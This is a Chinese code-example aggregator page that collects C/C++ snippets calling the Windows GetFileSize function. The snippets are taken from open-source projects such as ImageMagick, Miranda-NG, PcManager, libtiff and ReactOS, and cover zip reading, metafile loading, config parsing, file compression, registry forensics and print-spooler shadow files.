• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ GetFileSize函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中GetFileSize函数的典型用法代码示例。如果您正苦于以下问题:C++ GetFileSize函数的具体用法?C++ GetFileSize怎么用?C++ GetFileSize使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了GetFileSize函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: Min

dword C_file_read_zip::ReadCache(){

   curr = base;

   if(file_info.method==file_info.METHOD_STORE){
                           //raw read, no compression
      dword sz = Min(int(CACHE_SIZE), int(GetFileSize()-curr_pos));
      if(arch_file)
         arch_file->Read(base, sz);
      else{
#ifdef SYMBIAN_OPTIM
         TPtr8 desc(base, sz);
         file.Read(desc);
#else
         ck.Read(base, sz);
#endif
      }
      top = base + sz;
      return sz;
   }
                           //read next data from cache
   d_stream.next_out = base;
   d_stream.avail_out = Min(int(CACHE_SIZE), int(file_info.sz_uncompressed-d_stream.total_out));

   dword num_read = d_stream.total_out;
   while(d_stream.avail_out){
      int flush_flag = 0;
      if(!d_stream.avail_in){
         dword sz = Min(int(sizeof(d_buf)), int(file_info.sz_compressed-d_stream.total_in));
         if(sz){
            if(arch_file)
               arch_file->Read(d_buf, sz);
            else{
#ifdef SYMBIAN_OPTIM
               TPtr8 desc(d_buf, sz);
               file.Read(desc);
#else
               ck.Read(d_buf, sz);
#endif
            }
            d_stream.next_in = d_buf;
            d_stream.avail_in = sz;
         }else
            flush_flag = Z_SYNC_FLUSH;
      }
      int err = inflate(&d_stream, flush_flag);
      if(err == Z_STREAM_END)
         break;
      if(err != Z_OK){
         switch(err){
         case Z_MEM_ERROR: assert(0); break; //ZIP file decompression failed (memory error).
         case Z_BUF_ERROR: assert(0); break; //ZIP file decompression failed (buffer error).
         case Z_DATA_ERROR: assert(0); break;//ZIP file decompression failed (data error).
         default: assert(0);  //ZIP file decompression failed (unknown error).
         }
         return 0;
      }
   }
   num_read = d_stream.total_out - num_read;
   top = base + num_read;
   return num_read;
}
开发者ID:turbanoff,项目名称:X-plore,代码行数:62,代码来源:ZipRead.cpp


示例2: ReadEnhMetaFile


//.........这里部分代码省略.........
      wchar_t
        *unicode_path;

      unicode_path=ConvertUTF8ToUTF16((const unsigned char *) path);
      if (unicode_path != (wchar_t *) NULL)
        {
          hTemp=GetEnhMetaFileW(unicode_path);
          unicode_path=(wchar_t *) RelinquishMagickMemory(unicode_path);
        }
    }
#endif
  if (hTemp != (HENHMETAFILE) NULL)
    {
      /*
        Enhanced metafile.
      */
      GetEnhMetaFileHeader(hTemp,sizeof(ENHMETAHEADER),&emfh);
      *width=emfh.rclFrame.right-emfh.rclFrame.left;
      *height=emfh.rclFrame.bottom-emfh.rclFrame.top;
      return(hTemp);
    }
  hOld=GetMetaFile(path);
  if (hOld != (HMETAFILE) NULL)
    {
      /*
        16bit windows metafile.
      */
      dwSize=GetMetaFileBitsEx(hOld,0,NULL);
      if (dwSize == 0)
        {
          DeleteMetaFile(hOld);
          return((HENHMETAFILE) NULL);
        }
      pBits=(LPBYTE) AcquireQuantumMemory(dwSize,sizeof(*pBits));
      if (pBits == (LPBYTE) NULL)
        {
          DeleteMetaFile(hOld);
          return((HENHMETAFILE) NULL);
        }
      if (GetMetaFileBitsEx(hOld,dwSize,pBits) == 0)
        {
          pBits=(BYTE *) DestroyString((char *) pBits);
          DeleteMetaFile(hOld);
          return((HENHMETAFILE) NULL);
        }
      /*
        Make an enhanced metafile from the windows metafile.
      */
      mp.mm=MM_ANISOTROPIC;
      mp.xExt=1000;
      mp.yExt=1000;
      mp.hMF=NULL;
      hDC=GetDC(NULL);
      hTemp=SetWinMetaFileBits(dwSize,pBits,hDC,&mp);
      ReleaseDC(NULL,hDC);
      DeleteMetaFile(hOld);
      pBits=(BYTE *) DestroyString((char *) pBits);
      GetEnhMetaFileHeader(hTemp,sizeof(ENHMETAHEADER),&emfh);
      *width=emfh.rclFrame.right-emfh.rclFrame.left;
      *height=emfh.rclFrame.bottom-emfh.rclFrame.top;
      return(hTemp);
    }
  /*
    Aldus Placeable metafile.
  */
  hFile=CreateFile(path,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,
    NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    return(NULL);
  dwSize=GetFileSize(hFile,NULL);
  pBits=(LPBYTE) AcquireQuantumMemory(dwSize,sizeof(*pBits));
  if (pBits == (LPBYTE) NULL)
    {
      CloseHandle(hFile);
      return((HENHMETAFILE) NULL);
    }
  ReadFile(hFile,pBits,dwSize,&dwSize,NULL);
  CloseHandle(hFile);
  if (((PAPMHEADER) pBits)->dwKey != 0x9ac6cdd7l)
    {
      pBits=(BYTE *) DestroyString((char *) pBits);
      return((HENHMETAFILE) NULL);
    }
  /*
    Make an enhanced metafile from the placable metafile.
  */
  mp.mm=MM_ANISOTROPIC;
  mp.xExt=((PAPMHEADER) pBits)->bbox.Right-((PAPMHEADER) pBits)->bbox.Left;
  *width=mp.xExt;
  mp.xExt=(mp.xExt*2540l)/(DWORD) (((PAPMHEADER) pBits)->wInch);
  mp.yExt=((PAPMHEADER)pBits)->bbox.Bottom-((PAPMHEADER) pBits)->bbox.Top;
  *height=mp.yExt;
  mp.yExt=(mp.yExt*2540l)/(DWORD) (((PAPMHEADER) pBits)->wInch);
  mp.hMF=NULL;
  hDC=GetDC(NULL);
  hTemp=SetWinMetaFileBits(dwSize,&(pBits[sizeof(APMHEADER)]),hDC,&mp);
  ReleaseDC(NULL,hDC);
  pBits=(BYTE *) DestroyString((char *) pBits);
  return(hTemp);
}
开发者ID:vcgato29,项目名称:ImageMagick,代码行数:101,代码来源:emf.c


示例3: SetProtoMyAvatar

static int SetProtoMyAvatar(char *protocol, HBITMAP hBmp, TCHAR *originalFilename, int originalFormat, BOOL square, BOOL grow)
{
	if (!ProtoServiceExists(protocol, PS_SETMYAVATAR))
		return -1;

	// If is swf or xml, just set it

	if (originalFormat == PA_FORMAT_SWF) {
		if (!Proto_IsAvatarFormatSupported(protocol, PA_FORMAT_SWF))
			return -1;

		return SaveAvatar(protocol, originalFilename);
	}

	if (originalFormat == PA_FORMAT_XML) {
		if (!Proto_IsAvatarFormatSupported(protocol, PA_FORMAT_XML))
			return -1;

		return SaveAvatar(protocol, originalFilename);
	}

	// Get protocol info
	SaveProtocolData d = { 0 };

	d.max_size = (DWORD)Proto_GetAvatarMaxFileSize(protocol);

	Proto_GetAvatarMaxSize(protocol, &d.width, &d.height);
	int orig_width = d.width;
	int orig_height = d.height;

	if (Proto_AvatarImageProportion(protocol) & PIP_SQUARE)
		square = TRUE;

	// Try to save until a valid image is found or we give up
	int num_tries = 0;
	do {
		// Lets do it
		ResizeBitmap rb;
		rb.size = sizeof(ResizeBitmap);
		rb.hBmp = hBmp;
		rb.max_height = d.height;
		rb.max_width = d.width;
		rb.fit = (grow ? 0 : RESIZEBITMAP_FLAG_DONT_GROW)
			| (square ? RESIZEBITMAP_MAKE_SQUARE : RESIZEBITMAP_KEEP_PROPORTIONS);

		d.hBmpProto = (HBITMAP)CallService(MS_IMG_RESIZE, WPARAM(&rb), 0);

		if (d.hBmpProto == NULL) {
			if (d.temp_file[0] != '\0')
				DeleteFile(d.temp_file);
			return -1;
		}

		// Check if can use original image
		if (d.hBmpProto == hBmp
			&& Proto_IsAvatarFormatSupported(protocol, originalFormat)
			&& (d.max_size == 0 || GetFileSize(originalFilename) < d.max_size)) {
			if (d.temp_file[0] != '\0')
				DeleteFile(d.temp_file);

			// Use original image
			return SaveAvatar(protocol, originalFilename);
		}

		// Create a temporary file (if was not created already)
		if (d.temp_file[0] == '\0') {
			d.temp_file[0] = '\0';
			if (GetTempPath(MAX_PATH, d.temp_file) == 0
				|| GetTempFileName(d.temp_file, _T("mir_av_"), 0, d.temp_file) == 0) {
				DeleteObject(d.hBmpProto);
				return -1;
			}
		}

		// Which format?

		// First try to use original format
		if (originalFormat != PA_FORMAT_BMP)
			SaveImage(d, protocol, originalFormat);

		if (!d.saved && originalFormat != PA_FORMAT_PNG)
			SaveImage(d, protocol, PA_FORMAT_PNG);

		if (!d.saved && originalFormat != PA_FORMAT_JPEG)
			SaveImage(d, protocol, PA_FORMAT_JPEG);

		if (!d.saved && originalFormat != PA_FORMAT_GIF)
			SaveImage(d, protocol, PA_FORMAT_GIF);

		if (!d.saved)
			SaveImage(d, protocol, PA_FORMAT_BMP);

		num_tries++;
		if (!d.saved && d.need_smaller_size && num_tries < 4) {
			// Cleanup
			if (d.hBmpProto != hBmp)
				DeleteObject(d.hBmpProto);

			// use a smaller size
			d.width = orig_width * (4 - num_tries) / 4;
//.........这里部分代码省略.........
开发者ID:kxepal,项目名称:miranda-ng,代码行数:101,代码来源:services.cpp


示例4: UHCParseConfig

BOOL UHCParseConfig(Config *pConfig, LPWSTR lpConfigName, HANDLE hHeap)  {
	HANDLE hFile = NULL;
	DWORD dwFileSize = INVALID_FILE_SIZE, dwBytes,
		dwStringIndex = 0, dwStringBegin = 0, dwLength = 0;
	LPSTR lpBuffer = NULL;
	Config::Key key = { NULL, 0, NULL };
	BOOL result = TRUE;

	pConfig->KeyCount = 0;
	pConfig->Keys = NULL;

	hFile = CreateFileW(lpConfigName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (!hFile) {
        OutputDebugStringA("Failed to open file");
		goto BAD_RET;
    }

	dwFileSize = GetFileSize(hFile, NULL);

	if (dwFileSize == INVALID_FILE_SIZE) {
        OutputDebugStringA("Failed to open file");
		goto BAD_RET;
    }

	lpBuffer = (LPSTR)HeapAlloc(hHeap, 0, dwFileSize);

	if (!lpBuffer)
		goto BAD_RET;

	if (!ReadFile(hFile, lpBuffer, dwFileSize, &dwBytes, NULL) ||
		dwBytes != dwFileSize) {
        OutputDebugStringA("Failed to read file");
		goto BAD_RET;
    }

	for (DWORD i = 0; i < dwFileSize; ++i) {

		if (lpBuffer[i] == '/') {
			if (i + 1 < dwFileSize &&
				lpBuffer[i + 1] == '/') {
				while (i < dwFileSize) {
					if (lpBuffer[i] == '\r' || lpBuffer[i] == '\n')
						break;
					++i;
				}
			}
			else
				goto BAD_RET;
		}

		if (lpBuffer[i] == ' ' ||
			lpBuffer[i] == '\t' ||
			lpBuffer[i] == '\r' ||
			lpBuffer[i] == '\n' ||
			lpBuffer[i] == '/' ||
			i + 1 == dwFileSize)
		{
			if (i + 1 == dwFileSize &&
				!(lpBuffer[i] == ' ' ||
				lpBuffer[i] == '\t' ||
				lpBuffer[i] == '\r' ||
				lpBuffer[i] == '\n'))
				++dwLength;

			if (dwLength > 0) {
				LPSTR lpString = (LPSTR)HeapAlloc(hHeap, 0, dwLength + 1);

				if (lpString == NULL)
					goto BAD_RET;

				for (DWORD s = 0; s < dwLength; ++s)
					lpString[s] = lpBuffer[dwStringBegin + s];
				lpString[dwLength] = 0;

				if (dwStringIndex == 0)
					key.Name = lpString;
				else {
					key.ValueCount = dwStringIndex;

					if (key.Values == NULL)
						key.Values = (LPSTR*)HeapAlloc(hHeap, 0, sizeof(LPSTR));
					else
						key.Values = (LPSTR*)HeapReAlloc(hHeap, 0, key.Values, dwStringIndex * sizeof(LPSTR));

					if (!key.Values)
						goto BAD_RET;

					key.Values[dwStringIndex - 1] = lpString;
				}

				dwLength = 0;

				++dwStringIndex;
			}

			if ((lpBuffer[i] == '\r' ||
				lpBuffer[i] == '\n' ||
				i + 1 == dwFileSize) &&
				dwStringIndex > 0) {
//.........这里部分代码省略.........
开发者ID:danielpereira,项目名称:AoE3UnHardcoded,代码行数:101,代码来源:Config.cpp


示例5: CreateShaderPixel

HRESULT CreateShaderPixel(IDirect3DDevice9 *Device, TSTR File, LPDIRECT3DPIXELSHADER9 *Handle)
{
	HRESULT			Hr;
	HANDLE			hFile;
	unsigned long	FileSize;
  	unsigned long	*Shader;
	TCHAR			*FileName;

	D3DCAPS9		Caps;
	DWORD Usage = 0;

	Hr = S_OK;



	if(!File.Length())
	{
		Handle = 0;
		return(S_OK);
	}

	FileName = FindFile(File);

	if(Device && FileName)
	{

		Device->GetDeviceCaps(&Caps);

		// for those mad Laptop users
		if(Caps.DeviceType == D3DDEVTYPE_REF)
		{
			Usage = D3DUSAGE_SOFTWAREPROCESSING;
		}

		hFile = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
		if(hFile == INVALID_HANDLE_VALUE) 
		{
			return(E_FAIL);
		}
		
		FileSize = GetFileSize(hFile,NULL);
		
		Shader = (unsigned long*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,FileSize);
		if(!Shader) 
		{
			return(E_FAIL);
		}

		ReadFile(hFile,(void*)Shader,FileSize,&FileSize,NULL);
		CloseHandle(hFile);

		if(FAILED(Hr = Device->CreatePixelShader(Shader, Handle)))
		{
			return(Hr);
		}
	

		HeapFree(GetProcessHeap(),0,(void *)Shader);

	}
	else
	{
		return(E_FAIL);
	}


	return(Hr);
}
开发者ID:2asoft,项目名称:xray,代码行数:68,代码来源:Utility.cpp


示例6: GetFileSize

BOOL slimhelper::CompressFile(const CString& strFilePath,
                              ULONGLONG qwFileSize,
                              DWORD dwFileAttributes,
                              ISystemSlimCallBack* piCallback)
{
    BOOL retval = FALSE;
    HANDLE hFileHandle = INVALID_HANDLE_VALUE;
    BOOL bRetCode;
    USHORT uCompress = COMPRESSION_FORMAT_DEFAULT;
    DWORD dwReturn;
    ULARGE_INTEGER tempSize;
    HRESULT hr;
    BOOL bCompressed = FALSE;
    ULONGLONG qwOldFileSize = qwFileSize;
    CString strOldSecurityDescriptor;
    BOOL bIsDir = FALSE;

    if (!piCallback)
        goto clean0;

    piCallback->OnBeginProcessItem(strFilePath);

    if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
    {
        dwFileAttributes = ::GetFileAttributes(strFilePath);
        if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
            goto clean0;
    }

    if (dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        bIsDir = TRUE;

    if (dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED
        || dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
    {
        bCompressed = TRUE;
    }

    if (bCompressed)
        goto clean0;

    if (0 == qwOldFileSize)
    {
        CAtlFile file;
        hr = file.Create(strFilePath, 
            FILE_GENERIC_READ, 
            FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
            OPEN_EXISTING);
        if (FAILED(hr))
            goto clean0;

        tempSize.LowPart = GetFileSize((HANDLE)file, &tempSize.HighPart);
        qwOldFileSize = tempSize.QuadPart;
    }

    qwOldFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwOldFileSize);

    if (!GrantFileAccess(strFilePath, strOldSecurityDescriptor, bIsDir))
        goto clean0;

    hFileHandle = ::CreateFile(strFilePath,
                               FILE_GENERIC_READ|FILE_GENERIC_WRITE,
                               FILE_SHARE_READ|FILE_SHARE_WRITE,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL);
    if (INVALID_HANDLE_VALUE == hFileHandle)
        goto clean0;

    bRetCode = ::DeviceIoControl(hFileHandle,
                                 FSCTL_SET_COMPRESSION,
                                 &uCompress,
                                 sizeof(uCompress),
                                 NULL,
                                 0,
                                 &dwReturn,
                                 NULL);
    if (!bRetCode)
        goto clean0;

    ::CloseHandle(hFileHandle);
    hFileHandle = INVALID_HANDLE_VALUE;

    tempSize.LowPart = ::GetCompressedFileSize(strFilePath, &tempSize.HighPart);
    qwFileSize = tempSize.QuadPart;
    qwFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwFileSize);

    piCallback->OnEndProcessItem(strFilePath, qwOldFileSize - qwFileSize);

    retval = TRUE;

clean0:
    if (hFileHandle != INVALID_HANDLE_VALUE)
    {
        ::CloseHandle(hFileHandle);
        hFileHandle = INVALID_HANDLE_VALUE;
    }

    if (strOldSecurityDescriptor.GetLength())
//.........这里部分代码省略.........
开发者ID:dreamsxin,项目名称:PcManager,代码行数:101,代码来源:slimhelper.cpp


示例7: RtlZeroMemory

BOOL slimhelper::RecyclePath(const CString& strFilePath, BOOL bKeepRootDir)
{
    BOOL retval = FALSE;
    CString strOldSecurityDescriptor;
    HRESULT hr;
    int nRetCode;
    ULARGE_INTEGER tempSize;
    DWORD dwFileAttributes;
    BOOL bIsDir = FALSE;
    SHFILEOPSTRUCTW fileopt = { 0 };
    ULONGLONG qwFileSize = 0;
    TCHAR* szDelPath = new TCHAR[MAX_PATH * 2];
    CString strFlagFile;

    RtlZeroMemory(szDelPath, sizeof(TCHAR) * MAX_PATH * 2);
    StringCchCopy(szDelPath, MAX_PATH * 2, strFilePath);

    fileopt.pFrom = szDelPath;
    fileopt.wFunc = FO_DELETE;
    fileopt.fFlags = FOF_SILENT|FOF_NOCONFIRMATION|FOF_NOERRORUI|FOF_ALLOWUNDO;

    dwFileAttributes = ::GetFileAttributes(strFilePath);
    if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
        goto clean0;

    if (dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        bIsDir = TRUE;

    GrantFileAccess(strFilePath, strOldSecurityDescriptor, bIsDir);
    //if (!GrantFileAccess(strFilePath, strOldSecurityDescriptor))
    //    goto clean0;

    strFlagFile = strFilePath + _T("\\"); 
    strFlagFile += g_kSlimFlag;

    if (bIsDir)
    {
        ::DeleteFile(strFlagFile);
        nRetCode = SHFileOperationW(&fileopt);
        if (32 == nRetCode)
            goto clean0;

        if (0x78 == nRetCode || 5 == nRetCode)
        {
            GrantDirAccess(strFilePath);
            ::DeleteFile(strFlagFile);
            nRetCode = SHFileOperationW(&fileopt);;
        }

        if (!nRetCode)
        {
            if (bKeepRootDir)
            {
                ::CreateDirectory(strFilePath, NULL);
                // 创建瘦身后的标记文件
//                 CAtlFile file;
//                 file.Create(strFlagFile, 
//                     FILE_GENERIC_WRITE, 
//                     FILE_SHARE_READ|FILE_SHARE_WRITE,
//                     CREATE_ALWAYS);
            }
            retval = TRUE;
        }
        goto clean0;
    }

    if (dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED
        || dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
    {
        tempSize.LowPart = GetCompressedFileSize(strFilePath, &tempSize.HighPart);
        qwFileSize = tempSize.QuadPart;
    }
    else
    {
        CAtlFile file;
        hr = file.Create(strFilePath, 
                         FILE_GENERIC_READ, 
                         FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
                         OPEN_EXISTING);
        if (FAILED(hr))
            goto clean0;

        tempSize.LowPart = GetFileSize((HANDLE)file, &tempSize.HighPart);
        qwFileSize = tempSize.QuadPart;
    }

    qwFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwFileSize);

    nRetCode = SHFileOperationW(&fileopt);
    if (nRetCode)
        goto clean0;

    retval = TRUE;

clean0:
    if (szDelPath)
    {
        delete[] szDelPath;
        szDelPath = NULL;
    }
//.........这里部分代码省略.........
开发者ID:dreamsxin,项目名称:PcManager,代码行数:101,代码来源:slimhelper.cpp


示例8: Scan_registry_deletedKey_file

//------------------------------------------------------------------------------
void Scan_registry_deletedKey_file(char *reg_file,unsigned int session_id,sqlite3 *db)
{
  //open file
  HANDLE Hfic = CreateFile(reg_file,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);
  if (Hfic == INVALID_HANDLE_VALUE)return;

  DWORD taille_fic = GetFileSize(Hfic,NULL);
  if (taille_fic<1 || taille_fic == INVALID_FILE_SIZE)
  {
    CloseHandle(Hfic);
    return;
  }

  //alloc memory
  char *buffer = (char *) HeapAlloc(GetProcessHeap(), 0, taille_fic+1);
  if (!buffer)
  {
    CloseHandle(Hfic);
    return;
  }

  //load file
  DWORD copiee, position = 0, increm = 0;
  if (taille_fic > DIXM)increm = DIXM;
  else increm = taille_fic;

  while (position<taille_fic && increm!=0)
  {
    copiee = 0;
    ReadFile(Hfic, buffer+position, increm,&copiee,0);
    position +=copiee;
    if (taille_fic-position < increm)increm = taille_fic-position ;
  }
  CloseHandle(Hfic);

  //working
  if (position>0)
  {
    if (((REGF_HEADER*)buffer)->id == 0x66676572) //Fichier REG standard
    {
      taille_fic = position;
      position = 0x1000; //first hbin struct

      HBIN_HEADER *hb_h;
      DWORD pos_fhbin = 0;

      //recherche du 1er hbin !! (en cas de bug)
      while(position<taille_fic-4)
      {
        hb_h = (HBIN_HEADER *)&buffer[position];
        if (hb_h->id == 0x6E696268 )  //hbin
        {
          if (pos_fhbin == 0)pos_fhbin = position;
          position=position+HBIN_HEADER_SIZE;//entête hbin
          break;
        }else position++;
      }

      HBIN_CELL_PRE_HEADER *hb_ph;
      while(position<taille_fic-(HBIN_CELL_PRE_HEADER_SIZE+1))
      {
        //on ne traite que les clés nk (name key = directory)
        hb_ph = (HBIN_CELL_PRE_HEADER *)&buffer[position];
        if (((hb_ph->size[1]&0xFF) == 0xFF) && ((hb_ph->size[2]&0xFF) == 0xFF) && ((hb_ph->size[3]&0xFF) == 0xFF))
        {
          switch(hb_ph->type)
          {
            case 0x6B6E:  position = position + Traiter_RegBin_nk_deleted(reg_file, position, taille_fic, buffer,session_id,db,FALSE);break; //nk
            case 0x6B73 : if (position + HBIN_CELL_SK_SIZE < taille_fic)position = position + HBIN_CELL_SK_SIZE;else position++;break;//sk
            case 0x6B76 : if (position + HBIN_CELL_VK_SIZE < taille_fic)position = position + HBIN_CELL_VK_SIZE;else position++;break;//vk
            case 0x666C : if (position + HBIN_CELL_LF_SIZE < taille_fic)position = position + HBIN_CELL_LF_SIZE;else position++;break;//lf
            case 0x686C : if (position + HBIN_CELL_LH_SIZE < taille_fic)position = position + HBIN_CELL_LH_SIZE;else position++;break;//lh
            case 0x696C : if (position + HBIN_CELL_LI_SIZE < taille_fic)position = position + HBIN_CELL_LI_SIZE;else position++;break;//li
            case 0x6972 : if (position + HBIN_CELL_RI_SIZE < taille_fic)position = position + HBIN_CELL_RI_SIZE;else position++;break;//ri
            case 0x6264 : if (position + HBIN_CELL_DB_SIZE < taille_fic)position = position + HBIN_CELL_DB_SIZE;else position++;break;//db
            default : position++; break;
          }
        }else if (((hb_ph->size[0]&0xFF) != 0x00) &&((hb_ph->size[1]&0xFF) == 0x00) && ((hb_ph->size[2]&0xFF) == 0x00) && ((hb_ph->size[3]&0xFF) == 0x00) && hb_ph->type == 0x6B6E)
        {
            position = position + Traiter_RegBin_nk_deleted(reg_file, position, taille_fic, buffer,session_id,db,TRUE);
        }else position++;
      }
    }
  }
  //on libère la mémoire
  HeapFree(GetProcessHeap(), 0, buffer);
}
开发者ID:garfieldchien,项目名称:omnia-projetcs,代码行数:88,代码来源:test_registry_deleted_keys.c


示例9: _tiffSizeProc

static toff_t
_tiffSizeProc(thandle_t fd)
{
    return ((toff_t)GetFileSize(fd, NULL));
}
开发者ID:CyberIntelMafia,项目名称:clamav-devel,代码行数:5,代码来源:tif_win32.c


示例10: ReadJobShadowFile

PLOCAL_JOB
ReadJobShadowFile(PCWSTR pwszFilePath)
{
    DWORD cbFileSize;
    DWORD cbRead;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    PLOCAL_JOB pJob;
    PLOCAL_JOB pReturnValue = NULL;
    PLOCAL_PRINTER pPrinter;
    PLOCAL_PRINT_PROCESSOR pPrintProcessor;
    PSHD_HEADER pShadowFile = NULL;
    PWSTR pwszPrinterName;
    PWSTR pwszPrintProcessor;

    // Try to open the file.
    hFile = CreateFileW(pwszFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        ERR("CreateFileW failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Get its file size (small enough for a single DWORD) and allocate memory for all of it.
    cbFileSize = GetFileSize(hFile, NULL);
    pShadowFile = DllAllocSplMem(cbFileSize);
    if (!pShadowFile)
    {
        ERR("DllAllocSplMem failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Read the entire file.
    if (!ReadFile(hFile, pShadowFile, cbFileSize, &cbRead, NULL))
    {
        ERR("ReadFile failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Check signature and header size.
    if (pShadowFile->dwSignature != SHD_WIN2003_SIGNATURE || pShadowFile->cbHeader != sizeof(SHD_HEADER))
    {
        ERR("Signature or Header Size mismatch for file \"%S\"!\n", pwszFilePath);
        goto Cleanup;
    }

    // Retrieve the associated printer from the list.
    pwszPrinterName = (PWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offPrinterName);
    pPrinter = LookupElementSkiplist(&PrinterList, &pwszPrinterName, NULL);
    if (!pPrinter)
    {
        ERR("Shadow file \"%S\" references a non-existing printer \"%S\"!\n", pwszFilePath, pwszPrinterName);
        goto Cleanup;
    }

    // Retrieve the associated Print Processor from the list.
    pwszPrintProcessor = (PWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offPrintProcessor);
    pPrintProcessor = FindPrintProcessor(pwszPrintProcessor);
    if (!pPrintProcessor)
    {
        ERR("Shadow file \"%S\" references a non-existing Print Processor \"%S\"!\n", pwszFilePath, pwszPrintProcessor);
        goto Cleanup;
    }

    // Create a new job structure and copy over the relevant fields.
    pJob = DllAllocSplMem(sizeof(LOCAL_JOB));
    if (!pJob)
    {
        ERR("DllAllocSplMem failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    pJob->dwJobID = pShadowFile->dwJobID;
    pJob->dwPriority = pShadowFile->dwPriority;
    pJob->dwStartTime = pShadowFile->dwStartTime;
    pJob->dwTotalPages = pShadowFile->dwTotalPages;
    pJob->dwUntilTime = pShadowFile->dwUntilTime;
    pJob->pPrinter = pPrinter;
    pJob->pPrintProcessor = pPrintProcessor;
    pJob->pDevMode = DuplicateDevMode((PDEVMODEW)((ULONG_PTR)pShadowFile + pShadowFile->offDevMode));
    pJob->pwszDatatype = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offDatatype));
    pJob->pwszMachineName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offMachineName));
    CopyMemory(&pJob->stSubmitted, &pShadowFile->stSubmitted, sizeof(SYSTEMTIME));

    // Copy the optional values.
    if (pShadowFile->offDocumentName)
        pJob->pwszDocumentName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offDocumentName));

    if (pShadowFile->offNotifyName)
        pJob->pwszNotifyName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offNotifyName));

    if (pShadowFile->offPrintProcessorParameters)
        pJob->pwszPrintProcessorParameters = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offPrintProcessorParameters));

    if (pShadowFile->offUserName)
        pJob->pwszUserName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offUserName));

    // Jobs read from shadow files were always added using AddJob.
    pJob->bAddedJob = TRUE;

    pReturnValue = pJob;
//.........这里部分代码省略.........
开发者ID:reactos,项目名称:reactos,代码行数:101,代码来源:jobs.c


示例11: WriteJobShadowFile

BOOL
WriteJobShadowFile(PWSTR pwszFilePath, const PLOCAL_JOB pJob)
{
    BOOL bReturnValue = FALSE;
    DWORD cbDatatype = (wcslen(pJob->pwszDatatype) + 1) * sizeof(WCHAR);
    DWORD cbDevMode = pJob->pDevMode->dmSize + pJob->pDevMode->dmDriverExtra;
    DWORD cbDocumentName = 0;
    DWORD cbFileSize;
    DWORD cbMachineName = (wcslen(pJob->pwszMachineName) + 1) * sizeof(WCHAR);
    DWORD cbNotifyName = 0;
    DWORD cbPrinterDriver = (wcslen(pJob->pPrinter->pwszPrinterDriver) + 1) * sizeof(WCHAR);
    DWORD cbPrinterName = (wcslen(pJob->pPrinter->pwszPrinterName) + 1) * sizeof(WCHAR);
    DWORD cbPrintProcessor = (wcslen(pJob->pPrintProcessor->pwszName) + 1) * sizeof(WCHAR);
    DWORD cbPrintProcessorParameters = 0;
    DWORD cbUserName = 0;
    DWORD cbWritten;
    DWORD dwCurrentOffset;
    HANDLE hSHDFile = INVALID_HANDLE_VALUE;
    HANDLE hSPLFile = INVALID_HANDLE_VALUE;
    PSHD_HEADER pShadowFile = NULL;

    // Try to open the SHD file.
    hSHDFile = CreateFileW(pwszFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
    if (hSHDFile == INVALID_HANDLE_VALUE)
    {
        ERR("CreateFileW failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Calculate the lengths of the optional values and the total size of the shadow file.
    if (pJob->pwszDocumentName)
        cbDocumentName = (wcslen(pJob->pwszDocumentName) + 1) * sizeof(WCHAR);

    if (pJob->pwszNotifyName)
        cbNotifyName = (wcslen(pJob->pwszNotifyName) + 1) * sizeof(WCHAR);

    if (pJob->pwszPrintProcessorParameters)
        cbPrintProcessorParameters = (wcslen(pJob->pwszPrintProcessorParameters) + 1) * sizeof(WCHAR);

    if (pJob->pwszUserName)
        cbUserName = (wcslen(pJob->pwszUserName) + 1) * sizeof(WCHAR);

